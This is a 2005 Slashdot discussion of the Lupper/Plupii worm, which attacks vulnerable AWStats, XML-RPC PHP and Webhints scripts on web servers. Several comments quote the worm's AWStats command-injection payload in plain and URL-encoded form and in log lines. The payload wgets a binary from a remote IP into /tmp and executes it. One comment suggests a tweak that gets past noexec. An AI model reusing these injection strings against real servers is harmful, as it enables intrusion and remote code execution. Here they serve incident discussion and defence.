      Sorry, I meant a different context as you suspect. Most linux distributions (like my slack install) are by far more secure due to more than a decade of progressive focus on security, but what I meant by popularity is that (wonderfully) large companies and even smaller ones are finding the idea of using Linux and associated/like minded components where they can now. I had zero problems replacing a remote machine configuration we use that used to require IIS for web services with a TCP/IP server I wrote running on slackware. :)

      --
      Loading...
    7. Re:Sadly a preview of things to come because... by budgenator · · Score: 2, Insightful
      Hears the way I understand it, the problem is some applications don't properly limit what programs can be run from a web browser
      if for example type this into my browser
      http://example.com/cgi/includer.cgi?'echo 'bingo''
      and I see bingo in my browser example.com would probably be vulnerable, the worm presently uses a linux program wget (wget is a program that downloads files from a web server) to download the payload to the vulnerable machine, make it executeable with a chmod +x and runs it. When the worm runs, it searches for vulnerable machines on the network and and does the same things to them.

      any RPC, Remote Procedure Protocol, has big impact on security, especaly commands that can change directories, download files, or make a file executable.
      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    8. Re:Sadly a preview of things to come because... by burnin1965 · · Score: 1

      Its a logical arguement, however, its not like linux is new on the block.

      Back when netcraft reported OS statistics along with web server stats linux held around 30% market share, the last report was in June of 2001. And we have seen assaults on linux in the past, e.g. the slapper worm in which case it peaked at about 14000 infected machines with somewhere around 5 million in service. Even if we triple the 14000 to account for cleaned machines we are still looking at less than 1%. Compared to something like codered where hundreds of thousands of boxes were infected the infection rate of Windows boxes may have approached 10% or more.

      I'd say linux has been popular long enough, has a large enough install base, and has been targeted in the past. And although the parameters should be there for mass infections and destruction it still has not materialized. About the only thing new in the past few years is media hysteria whenever one of these worms pops up and sputters for awhile.

      Anyhow, now that there are some possible 20 million linux web servers out there it should be interesting to see how this worm does. I predict a dud.

      burnin

    9. Re:Sadly a preview of things to come because... by Assmasher · · Score: 1

      Totally agree, I'm just saying that it's a 'new thing' to corporate America because it isn't some black hole of exotic technology anymore. It's the thing that will save you money and seems to have a reasonable IT talent pool supply and hey, "our kids are using it mister CFO" ;).

      --
      Loading...
  9. Linux what? by psyeye · · Score: 0, Redundant

    So it's just the name of the worm or does anyone seriously think this is a Linux-worm? It's a web-server worm - nothing more than that!


    psyeye

    1. Re:Linux what? by Anonymous Coward · · Score: 0

      Are we sure it's not a denial of service attack?

  10. Complete infection by soren.harward · · Score: 5, Funny

    All sysadmins who are still running this insecure setup are advised to patch your systems immediately. Yes, all fourteen of you.

    1. Re:Complete infection by Anonymous Coward · · Score: 0

      Hey, there's 13. I've patched already!

    2. Re:Complete infection by SlashSquatch · · Score: 1

      ...
      My digital media is write-protected
      Every file inspected, no viruses detected
      ...

      --
      Autonomous Retard -- Is your camp safe? UnsafeCamp.com
    3. Re:Complete infection by djsmiley · · Score: 1

      OR

      Yes, all of you with a mental age of 14....

      Everyone sees windows bugs, and half the time there is a patch somewhere, but no one has applied it etc. Admins ARE the problem, sack them and give me a job!

      --
      - http://www.milkme.co.uk
    4. Re:Complete infection by Anonymous Coward · · Score: 0

      Don't be a IFWM, and you will probably have a job.

    5. Re:Complete infection by bloodstains · · Score: 1

      <USER type="Brain Dead AOLer">Me too!</USER>

    6. Re:Complete infection by Jesus_666 · · Score: 1

      If I ever meet you I'll CTRL-ALT-DEL you.

      --
      USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
    7. Re:Complete infection by theendlessnow · · Score: 1
      All sysadmins who are still running this insecure setup are advised to patch your systems immediately. Yes, all fourteen of you.

      Actually, thirteen. I've already migrated back to the safety of Windows.

    8. Re:Complete infection by Anonymous Coward · · Score: 0

      Admins ARE the problem, sack them and give me a job!

      Ok. I have sacked all my Sysadmins and I now happily offer you the job of Tea Boy.

      What's that? You wanted one of the Sysadmin jobs? But you said sack them and give you *A* job, not sack them and give you *the* job!

    9. Re:Complete infection by biduxe · · Score: 1

      Come on, Do I really will have to look for my old 80 MB Hard drive buried 10 years ago to check if this vulnerability is still a menace?

    10. Re:Complete infection by TheLetterPsy · · Score: 1

      Soren, it's Mike. Send me an email since I think you are not at BYU anymore and I don't have a new email for you. Man I've been hoping you would post to /. so I could get in touch with you!

      jenksster gmail com

  11. Been around earlier? by Anonymous Coward · · Score: 1, Interesting

    According to http://searchsecurity.techtarget.com/qna/0,289202, sid14_gci955041,00.html, this worm started in 2002... or am I mistaken?

    1. Re:Been around earlier? by jurt1235 · · Score: 1

      Well, if it turns out to be a dupe, than it took forever for the fixes. For example wordpress 1.5.1 v2 is still vulnerable. 1.5.2 is now just around. Just as for some other software. I would than say that this was a seriously ignored problem.

      --

      My wife's sketchblog Blob[p]: Gastrono-me
    2. Re:Been around earlier? by Darth+Daver · · Score: 1

      It took it that long to get a foothold in the wild. It must have probed a lot of systems on port 80 before discovering that specific configuration.

    3. Re:Been around earlier? by hawkeyeMI · · Score: 1

      Wordpress says they're not vulnerable since 1.5: http://wordpress.org/development/2005/11/wordpress -is-secure/

      --
      Error 404 - Sig Not Found
    4. Re:Been around earlier? by smc13 · · Score: 1

      The xmlprc exploits were discovered in July and August of this year. There had been an earlier exploit in September 2001 which probably is what the worm from 2002 made use of.

      http://phpxmlrpc.sourceforge.net/

  12. Conditions for infection... by xutopia · · Score: 4, Insightful

    "If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed." I'm thinking this is funny as hell. How many people configure apache this way?

    1. Re:Conditions for infection... by Anonymous Coward · · Score: 0

      The problem is, everyone starts somewhere. Not everyone who runs a web-server is a genius at administering them. I tried for six months, and finally gave up. I just didn't know enough to keep it up to date and not crashing. Granted, half my problems were caused by data corruption on the part of my host, but I didn't know much. I would assume I did not setup Apache to do this, but who knows. So to assume that no one is vulnerable to this is nonsense... not everyone is a technical expert on every aspect of the computing world.

    2. Re:Conditions for infection... by maxwell+demon · · Score: 5, Funny

      Hey, I've found a way to write a true Linux worm! It can infect all Linux computers which have a user named "wormhole" with password "unsafe", and have a suid-root copy of bash installed at /bin/rootbash which is executable by user "wormhole". Ah, and of course the user "wormhole" must be able to remote login through either rlogin or ssh with password authentication enabled. To spread, the worm also needs the file /etc/wormspreadrc, which must contain a list of other vulnerable computers, one hostname or IP number per line.

      SCNR

      --
      The Tao of math: The numbers you can count are not the real numbers.
    3. Re:Conditions for infection... by smoking2000 · · Score: 5, Informative
      The command it runs is:
      |echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|
      It is passed to awstats.pl in a request like:
      GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bc hmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e 212%2e115;echo%20YYY;echo| HTTP/1.1
      There are also POST request to xmlrpc.php pages, like:
      POST /drupal/xmlrpc.php HTTP/1.1
      So if you have /tmp mounted noexec this should not be a problem.
    4. Re:Conditions for infection... by Ramses0 · · Score: 1

      Not configuration of apache, but configuration of PHP.

      Basically, it's whether you allow the following:

      A lot of people have #1 (since they don't see the difficulty in allowing that, and in some cases it is hella-useful).

      #2 is just plain dumb.

      I don't remember what PHP ships with defaults nowadays (I think yes to shell commands at least), it's possible that they don't allow "http://" (remote file protocols) in their later releases.

      --Robert

    5. Re:Conditions for infection... by Ramses0 · · Score: 2, Informative

      Damned slashdot eats my code examples. Re-post.

      It's Not configuration of apache, but configuration of PHP. Basically, it's whether you allow the following:

      [?php
          $foo = `ls`;

          $bar = include("http://foo.com/example.txt");
      ?]

      A lot of people have #1 (since they don't see the difficulty in allowing that, and in some cases it is hella-useful for hacking stuff together).

      #2 is just plain dumb.

      I don't remember what PHP ships with defaults nowadays (I think yes to shell commands at least), it's possible that they don't allow "http://" (remote file protocols) by default in their later releases.

      --Robert

    6. Re:Conditions for infection... by PatMouser · · Score: 3, Informative

      Well, as of 9:30 AM central time 24.224.174.18 isn't accepting connections, so it's either been slashdotted or taken down.

    7. Re:Conditions for infection... by 6*7 · · Score: 3, Informative

      a noexec /tmp doesn't protect from running an interpreter with the script source in /tmp. Next version should simply include '/bin/sh /tmp/listen' instead to be fully functional.

    8. Re:Conditions for infection... by harlows_monkeys · · Score: 1
      I'm thinking this is funny as hell. How many people configure apache this way?

      Uhm...pretty much everyone using AWStats or the other programs mentioned has Apache configured that way. The problem being exploited is not an Apache configuration problem, but rather failure of certain PHP and Perl scripts to validate input.

      Here is a line from my Apache logs, showing a breakin attempt:

      hist.ih.univ.szczecin.pl - - [08/Nov/2005:06:23:58 -0800] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%2 0YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2fli sten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216% 2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 1021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

      Basically, most scripting languages allow for metacharacters in strings that allow for embedded scripts, and programs that accept external input need to clean up strings that come from untrusted sources before using them in contexts where those scripts would be executed.

    9. Re:Conditions for infection... by Anonymous Coward · · Score: 0

      wget isn't in the *BSD installations but in ports, which would make this linux only

    10. Re:Conditions for infection... by sanctimonius+hypocrt · · Score: 2, Informative

      Per Making /tmp non-executable:

      Mounting filesystems with these flags set raises the bar a little, but it doesn't stop files from being executed.

      What you need is defense in depth. Mounting /tmp noexec,nosuid helps; Keeping everything up-to-date helps; Scanning your log files, following the news,... You get the idea.

      And of course, hiring someone competent to do all this is a fine idea;)

    11. Re:Conditions for infection... by slackmaster2000 · · Score: 2, Informative

      Mounting tmp noexec won't stop scripts like this.

      Aside from keeping a system patched up, it's important on a web server to lock down all programs that aren't necessary for the operation of your web services. In typical setups there is absolutely no reason that the apache user should have to execute wget, although it will be able to by default.

    12. Re:Conditions for infection... by miyako · · Score: 2, Insightful
      #2 is not just dumb, it's also really common. I worked on a site a couple of weeks ago that I was asked to update that had been in production for a while where the guy who wrote it had actually used
      include_once($_GET['location'].'/'.$_GET['file']);
      <blockquote>

      for all of the navigation. Apparently he had been using forms for navigation and had each button holding the value of the file he wanted, and a hidden field holding the full URL to the section of the site. So the code ended up looking like
      <form action="get" name="navform>
      <input type="hidden" value="http://www.mywebsite.com/somewebsitesection ">
      <input type="submit" value="page1.php">
      <input type="submit" value="page2.php">
      </form>

      On top of all this they were storing sensitive customer information in plaintext files. I STRONGLY recommended that my boss send out letters to all their customers informing them of the vunrability so that they could take steps to ensure that they got their credit card numbers, etc. changed.
      I think that the big problem is businesses that higher highschool students who have no idea of how to write good code doing websites for 6 bucks an hour. When the finally decided to higher someone who had some idea of how to do decent code (I don't claim to be an expert in PHP, but I certainly have more experience with it than a 16 year old, and I do at least try to keep security in mind when I write code). I ended up leaving after I'd fixed the security vulrnabilities (since I didn't see it as being ethical to just leave a business running where it was so that customers could unknowingly have their info stolen) because my boss was constantly on my ass (He didn't understand why I needed to spend time designing a database when flat text files has worked on their site for so long, for example) and basically told me to take shortcuts to get the code done ASAP.
      In the end I think that this is is one of the biggest problems with software vulrnabilities. People are more concerned with getting it done than getting it done correctly. I think that one of the advantages that F/OSS has is that, while some coders will still perhaps be more concerned with time than correctness, there is less of management glaring over your shoulder and telling you to take shortcuts to meet deadlines.
      --
      Famous Last Words: "hmm...wikipedia says it's edible"
    13. Re:Conditions for infection... by Jesus_666 · · Score: 1

      Cool, where's the torrent?

      --
      USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
    14. Re:Conditions for infection... by destuxor · · Score: 1

      "If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed." I'm thinking this is funny as hell. How many people configure apache this way?

      Actually, this isn't something you can control in Apache. PHP's ability to send system commands can be turned on and off in the php.ini file. Although anyone running an Apache webserver with PHP has that file, they may or may not have editted it.

      The php.ini file actually gives system administrators much greater control of what users can do with their PHP websites than they ever could have in Perl through a CGI, since a simplistic explaination of how CGI works is that it executes the file your browser requests with whatever arguements you send it. Furthermore, many Perl modules are nothing more than wrappers over shell commands. If someone were to, say, compile Perl without the system() command, you'd have so many broken modules it wouldn't be useful.

      The point is, someone installed AWStats two years ago and never updated it or their webserver could be wide open to this thing. That's why we blame the admin :)

    15. Re:Conditions for infection... by smoker2 · · Score: 1
      Nah fuck it, I'll just give them my ssh-keys and su password, then they can login at leisure _and_ get root.

      More seriously, I had to turn off the ssh daemon on my servers because of the assholes trying to dictionary their way in. They weren't ever going to get in, as I use _only_ key based authentication, but my log files were getting massive by recording all the attempts. There are only so many complaining emails you can send to Italy Japan and China too.

      The old adage is true still - If you're not using it, TURN IT OFF.

    16. Re:Conditions for infection... by biduxe · · Score: 1

      Nyet, i tried but it segfaulted in my system... Do You now where to send bug reports?

    17. Re:Conditions for infection... by Anonymous Coward · · Score: 0

      How about adding a free copy of war and piece to the output of every failed login attempt on ssh? something to read while they wait.

    18. Re:Conditions for infection... by maxwell+demon · · Score: 1
      How about adding a free copy of war and piece to the output of every failed login attempt on ssh? something to read while they wait.

      Well, I guess he has to pay for his bandwidth.
      --
      The Tao of math: The numbers you can count are not the real numbers.
    19. Re:Conditions for infection... by jonadab · · Score: 1

      Wow, that's such a basic problem, it would be caught *immediately* if someone had taken even the most basic precautions, such as running in taint-checking mode, which is *HIGHLY* recommended for anything that handles data from an untrusted source, such as the internet.

      --
      Cut that out, or I will ship you to Norilsk in a box.
    20. Re:Conditions for infection... by sunhou · · Score: 1

      Well, as of 9:30 AM central time 24.224.174.18 isn't accepting connections, so it's either been slashdotted or taken down.

      My web logs show some attempts yesterday, but with the wget going to 24.224.174.18. I haven't read up on this worm, but I'm guessing that's an address of someone upstream who was infected. E.g. if my machine infected a new one, the wget for those new infectees would point to my machine.

    21. Re:Conditions for infection... by timbo234 · · Score: 1
      --
      Pre-canned Evolution Links for all those Slashdot holy wars.
    22. Re:Conditions for infection... by Anonymous Coward · · Score: 0

      in fact, a variant that runs the code through an interpeter is already in the wild; comment 13978868 shows what it looks like.

  13. Before all teh MSFT fanboys jump on this, by Anonymous Coward · · Score: 5, Funny

    Paraphrased from the virus description;

    IF you run a specific kernel version with some special module
    AND you run one of a couple specific versions of one package not installed by default
    AND you have a very "generic" config on that package
    AND you have some plugins enabled, but not configured for security
    AND you are on a world routable IP address
    AND you have some specific vulnerable scripts,

    THEN you might need to take a look at if you are at risk.

    Paraphrased from the virus description of most MSFT worms:

    IF you run an MSFT operating system
    AND you havent reformated your HDD in the lsat hour

    THEN its time to pucker up and kiss the sucker goodbye..

    -GenTimJS

    1. Re:Before all teh MSFT fanboys jump on this, by Anonymous Coward · · Score: 0

      LOL says the Assmasher
      wondering why
      they modded him
      into oblivion

    2. Re:Before all teh MSFT fanboys jump on this, by a302b · · Score: 1
      ...is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform.
      Can someone help me out here? Isn't BSD supposed to be secure by default? And only when you know what you are doing are you able to loosen restrictions? So if, as the parent so kindly pointed out:
      IF you run a specific kernel version with some special module
      AND you run one of a couple specific versions of one package not installed by default
      AND you have a very "generic" config on that package
      AND you have some plugins enabled, but not configured for security
      AND you are on a world routable IP address
      AND you have some specific vulnerable scripts,
      THEN you might need to take a look at if you are at risk.
      How the HECK does this virus spread on BSD machines???!!!!!
      --
      Unity in Diversity
    3. Re:Before all teh MSFT fanboys jump on this, by Assmasher · · Score: 1, Insightful

      That's funny, and a typical slashdot experience. Someone bashes M$ when something that could even be remotely construed as critical of Linux, and then someone like me points out the hypocrisy of their post, and get modded as a troll. LOL. Next thing you know it will be modded 'Nazi'. Standard slashdot/internet model.

      --
      Loading...
    4. Re:Before all teh MSFT fanboys jump on this, by Anonymous Coward · · Score: 0

      Did you post that from a cell phone?

    5. Re:Before all teh MSFT fanboys jump on this, by sootman · · Score: 1

      Isn't BSD supposed to be secure by default?

      Um, yeah, and AFAIK, part of that includes not having the webserver on by default. You turn it on, you're at risk.

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    6. Re:Before all teh MSFT fanboys jump on this, by sootman · · Score: 2, Interesting

      From the best MS technote EVAR:

      "Identified security issues in Internet Explorer could allow an attacker to compromise a Windows-based system... This affects all computers with Internet Explorer installed (even if you don't run Internet Explorer as your Web browser)."

      And since MS included IE by default, enabled it by default, and made it almost impossible to uninstall, all you MS defenders are invited to take a long walk off a short pier. BTW, that update is less than 2 years old, so it's not like I'm really digging in the crates to find that one or making "OMG teh BSOD!" Win98 jokes.

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    7. Re:Before all teh MSFT fanboys jump on this, by mls · · Score: 1

      Can someone help me out here? Isn't BSD supposed to be secure by default?

      There are multiple distributions that claim BSD heritage, each has different intentions in creating it's distribution. The only large BSD based distribution that strives for high security is OpenBSD. You probably would have a hard time getting this exploit to work on an OpenBSD distribution without intentionally screwing up your default configuration. That MAY be less true of a FreeBSD, NetBSD, Darwin, SunOS4, NeXTStep, etc. systems that is based on BSD as well.

      --
      -mls
    8. Re:Before all teh MSFT fanboys jump on this, by qwijibo · · Score: 1

      BSD users download and run the worm manually to show solidarity with the Linux users.

      Or it could just be that BSD users, like Linux users, aren't all security conscious in all decisions about what they install.

    9. Re:Before all teh MSFT fanboys jump on this, by Tibor+the+Hun · · Score: 1

      Not really, I have BSD and a web server on it, but don't have the 3rd party packages that this virus exploits.
      Once they exploit Apache, then one's at risk..

      --
      If you don't know what AltaVista is (was), get off my lawn.
    10. Re:Before all teh MSFT fanboys jump on this, by Anonymous Coward · · Score: 0

      Not at all.
      It's just that LOLs and jumping smileys are best left to forum boards, and not on our, dear to our harts, slashdot.

      Just trying to keep the tradition alive. And please don't reply to AC posts, unles they are insightful. It's not good for your health.

    11. Re:Before all teh MSFT fanboys jump on this, by I'm+Don+Giovanni · · Score: 1

      "BTW, that update is less than 2 years old, so it's not like I'm really digging in the crates to find that one or making "OMG teh BSOD!" Win98 jokes."

      Sorry, but bringing up any security problem that occurred on versions of Windows pre-XP SP2 is digging in the crates, and frankly, a sign of desperation.

      And why bring up Windows in this thread anyway? This thread deals with Linux vulnerabilities.

      --
      -- "I never gave these stories much credence." - HAL 9000
    12. Re:Before all teh MSFT fanboys jump on this, by Deanalator · · Score: 1

      If people didn't have that configuration, it wouldn't spread.
      If it wouldn't spread, it wouldn't have been found in the wild.

      Remember, worms don't need to be able to hit every machine on the internet, they don't even need to be able to hit machines with a particular default install. As long as they can gather the amount of machines the creator wants them to, then it is considered a successful worm.

  14. Too many ifs by SolitaryMan · · Score: 5, Interesting

    If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment ...

    which in practice means that your admin have died a couple of years ago but was never replaced.

    --
    May Peace Prevail On Earth
    1. Re:Too many ifs by Anonymous Coward · · Score: 1, Interesting

      .. or your box is one of gazillions of dedicated servers maintained by hobby admins.

  15. Short of detail by QuaintRealist · · Score: 4, Informative

    So here is some, shamelessly cribbed from e-week. The worm actually attemts to attack three different web services:

    "The XML-RPC hole commonly exists in blogging and Wiki programs. There are now fixes available for this hole for most systems.

    AWStats is a popular, open-source log-file analyzer. Only servers which run AWStats 5.0 to 6.3 can be attacked. Versions 6.4, which came out in March, and higher are immune.

    Finally, Webhints is an older script program that's designed to set up and maintain a "Hint (Quote/Tip/Joke/Whatever) of the Day" page. Version 1.3 is vulnerable to attack. There is, at this time, no known fix for the program. "

    This still does not tell me which blogging/wiki programs are affected, only theat "most" have fixes - more info, anyone?

    --
    Using plain ol' text since 1968
    1. Re:Short of detail by jurt1235 · · Score: 2, Informative
      --

      My wife's sketchblog Blob[p]: Gastrono-me
    2. Re:Short of detail by nysus · · Score: 1

      The only thing I can add is that Drupal CMS is affected by this but they supplied a patch quite a while ago: http://drupal.org/drupal-4.6.3

      --

      ---Technology will liberate us if it doesn't enslave us first.

    3. Re:Short of detail by ajs · · Score: 1

      I notice that MediaWiki is NOT on this list. This corresponds to my experience. I had some older weblog software exploited, and had to mop up after it, but my MediaWiki installation was fine.

      Of course, MediaWiki is the pet target of some zombie-based spamming attacks right now, but that's not MW's fault, and I can clean up after that ok for now. If it gets worse, I'll have to start using some kind of visual authentication scheme.

    4. Re:Short of detail by Anonymous Coward · · Score: 0

      Because it's probably an issue with libxml-rpc.

  16. Does it look like this? by Mabonus · · Score: 5, Informative

    I just noticed this today, and from what I've heard here it sounds a likely candidate. IP addresses obscured for politeness.

    193.166.84 - - [04/Nov/2005:15:10:10 -0700] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:12 -0700] "GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd %20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3b chmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e19 3%2e244;echo%20YYY;echo| HTTP/1.1" 404 225 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:14 -0700] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 401 3787 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    .
    .
    .
    193.166.84 - - [04/Nov/2005:15:10:31 -0700] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:33 -0700] "POST /blog/xmlrpc.php HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:34 -0700] "POST /drupal/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    .
    .
    .
    For 60 hits.

    1. Re:Does it look like this? by Anonymous Coward · · Score: 0

      Yes, it's looking for an ancient version of awstats.

    2. Re:Does it look like this? by Anonymous Coward · · Score: 0

      ...wget%2062%2e101%2e193%2e244...

      As you can see this is trying to download a file from some machine that according to whois is/was in Norway and seems to be gone now.

    3. Re:Does it look like this? by smoking2000 · · Score: 1
      I have a variation on this one besides the "flupii" one. This one uses a file called "listen"
      GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%2 0YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2fli sten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216% 2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1
      I think there is also a "scout" part, which finds vulnarable hosts, as I also have requests like this:
      GET /usage/cgi-bin/awstats.pl?configdir=|echo%20;echo% 20;cat%20awstats.pl;echo%20;echo| HTTP/1.1
    4. Re:Does it look like this? by Been+on+TV · · Score: 1

      Yes, it looks like that.

      --
      The future is in beta
    5. Re:Does it look like this? by lemonjelo · · Score: 1
      That's funny, it looks like this to me =)

      [Tue Nov 8 19:14:47 2005] [error] [client 154.37.34.90] client denied by server configuration: /htdocs/awstats
      [Tue Nov 8 19:14:48 2005] [error] [client 154.37.34.90] client denied by server configuration: /htdocs/cgi-bin
      ...
      [Tue Nov 8 19:14:53 2005] [error] [client 154.37.34.90] client denied by server configuration: /htdocs/blogs
      [Tue Nov 8 19:14:54 2005] [error] [client 154.37.34.90] client denied by server configuration: /htdocs/drupal
      [Tue Nov 8 19:14:55 2005] [error] [client 154.37.34.90] client denied by server configuration: /htdocs/phpgroupware

      Of course, since code red came out, even though I was not running IIS nor Windows, I decided to disallow any requests sent to the IP of the server itself, IOW, only requests to a hostname that is setup as a VirtualHost are allowed.

      --

      pimtamf
  17. Linux? by noz · · Score: 2, Interesting
    I dislike the labelling of this worm as Linux/Slapper. The only platform identification is,
    This worm spreads by exploiting web servers hosting vulnerable PHP/CGI scripts.
    I also know that tomorrow a colleague will say something akin to, "Quit razzing my Windows platforms. Your precious Linux also has security problems." Grrrr...
    1. Re:Linux? by Anonymous Coward · · Score: 0

      Karma's a bitch, huh? Or is this just some Windows user who accidentally stumbled across the fact that you use Linux, and you've never given him any crap for any Windows vulnerability ever?

      I hope your colleague is every bit as smug as you are when you dump on Windows.

    2. Re:Linux? by flyinwhitey · · Score: 1

      I have to wonder if this

      "I dislike the labelling of this worm as Linux/Slapper."

      is only because of this

        "I also know that tomorrow a colleague will say something akin to, 'Quit razzing my Windows platforms. Your precious Linux also has security problems.'"

      --
      How pathetic are you that you follow me from topic to topic and waste all your mod points at once modding me down?
    3. Re:Linux? by HardYakka · · Score: 1

      Yes - it should be GNU/Linux/Slapper.

    4. Re:Linux? by Anonymous Coward · · Score: 0

      Haw, Haw!

      I bet you ignore such distinctions whenever it's an exploit of a third party utility on a Windows platform.

      If that's the case you deserve to be stuck into a room constantly being pelted by chairs thrown by Balmer for being a typical hypocritical Linux zealot.

  18. Re:So let me get this straight by FinestLittleSpace · · Score: 1

    Linux has a huge market share in the server market, idiot.

  19. It's not the MSFT fanboys you have to worry about by Anonymous Coward · · Score: 0

    It's the AAPL fanboys you have worry about hereabouts on slashdot: they are all moderators a re-up on quality crack just came through.

  20. I'm not worried... by PoprocksCk · · Score: 5, Funny

    I doubt I'll have the libraries required to run this worm.

    1. Re:I'm not worried... by WinterSolstice · · Score: 3, Funny

      Ha!

      Yes, if your luck with PHP on linux is like mine, you'll have to resolve dependencies for about 15 minutes first :)

      -WS

      --
      An operating system should be like a light switch... simple, effective, easy to use, and designed for everyone.
    2. Re:I'm not worried... by pintpusher · · Score: 1

      If we could get a worm that resolves its own dependencies, think of the benefits for spreading Linux. No more RPM hell or the occaisional apt-get flake-out. WIth the right worm, even my grandma could start using Linux! Yes!

      --
      man, I feel like mold.
    3. Re:I'm not worried... by _Sprocket_ · · Score: 3, Funny

      apt-get install morrisworm2

    4. Re:I'm not worried... by jonadab · · Score: 1

      > I doubt I'll have the libraries required to run this worm.

      Oh, you'll have the right libraries, but that's not enough; you have to have the latest and greatest _versions_ of each of them. For instance, you need Pango 1.10.2 or higher; if you're still using an earlier release of Pango, you'll have to install the latest one, which will also require you to upgrade your X server to x.Org 6.8.3 or later. Note also that if you have an ATI or nVidia graphics card, or certain models of Matrox cards, the drivers have not yet been updated for 6.8.3, so you will have to wait for that. Also you will need a glibc version that is current from CVS within the last couple of weeks.

      --
      Cut that out, or I will ship you to Norilsk in a box.
    5. Re:I'm not worried... by jonadab · · Score: 1

      > Oh, you'll have the right libraries, but that's not enough; you
      > have to have the latest and greatest _versions_ of each of them.

      Incidentally, Debian users are completely immune to this worm ;-)

      --
      Cut that out, or I will ship you to Norilsk in a box.
  21. this isn't meant for us by caffeinemessiah · · Score: 0, Troll

    Whichever av company it was that put out this release, it clearly isn't meant for anyone who's ever used *nix. This message is aimed at potential corporate *nix adopters for whom the lack of viruses might have been a strong selling point. I'm willing to put serious money that there's some lobby cash behind this. This is just like Bush's war - no one with a brain believes its right, but the majority without the brains do, and that's all thats needed. It's disgusting.

    --
    An old-timer with old-timey ideas.
    1. Re:this isn't meant for us by Anonymous Coward · · Score: 0

      you're a retard trying to bring politics into a discussion over a computer virus, people like you are "disgusting"

  22. Please Rate This Worm Info!! by handmedowns · · Score: 3, Interesting

    http://vil.nai.com/vil/RateThisPage.asp

    Let Mcaffe know how well they're trolling.

    --
    The road between democracy and tyranny is paved with secrecy in the name of security.
    1. Re:Please Rate This Worm Info!! by jjMick · · Score: 1

      Result when rating: "Page Not Found The page you are looking for is temporarily unavailable or no longer exists." McAfee really sucks!

    2. Re:Please Rate This Worm Info!! by pintpusher · · Score: 2, Informative

      YOu need to link to that page from the original virus description... then it works fine.

      --
      man, I feel like mold.
  23. Did some more research by jurt1235 · · Score: 1

    McAfee sucks for real info, look at symantec or at my at summary. In short: Update your software on time. There are some small inconsistencies between what the worm attacks and what needs to be updated though.

    --

    My wife's sketchblog Blob[p]: Gastrono-me
  24. It's a Linux worm? Riiiiiiight.... by crivens · · Score: 0

    It's a Linux worm? Riiiiiiight.... I wonder who originally raised this with McAfee.

  25. More coverage Linux.Plupii description available by jjMick · · Score: 1

    Symantec has a more coverage description page at http://securityresponse.symantec.com/avcenter/venc /data/linux.plupii.html including links to XML-RPC PHP1.x library vulnerabilities used by this malware. This worm is also known as Linux.Plupii and Linux/Lupper.A too. Internet Storm Center has a lot of technical information at their http://isc.sans.org/diary.php?storyid=823

  26. Other links by AndroidCat · · Score: 4, Informative
    --
    One line blog. I hear that they're called Twitters now.
  27. Re:So let me get this straight by Blob+Pet · · Score: 2, Insightful

    Perhaps the most interesting thing is that a Mac *could* be vulnerable to this attack. Yet 99.9% of the Macs out there aren't, because the system doesn't ship with the web server running by default. In other words, Linux is making Microsoft's mistakes all over again.

    In the distros I've used, the user has to explicitely choose to have a web server installed. Even after that, the user's probably going to have to explicitely choose to install PHP.

    --
    "...today consumers have been conditioned to think of beer when they see a bullfrog..."
  28. Linux/BSD only by WhiteWolf666 · · Score: 3, Funny

    Currently, this worm is only compatible with Linux/BSD systems, because they are the only systems with full shell scripting capabilities.

    It is rumored that you can obtain the same level of compatibility with the Cygwin Suite, but that is not an officially supported configuration by Microsoft.

    Never fear, though, Monad will bring Lupper, and similar PHP/Shell script worms to the Windows platform for the masses!

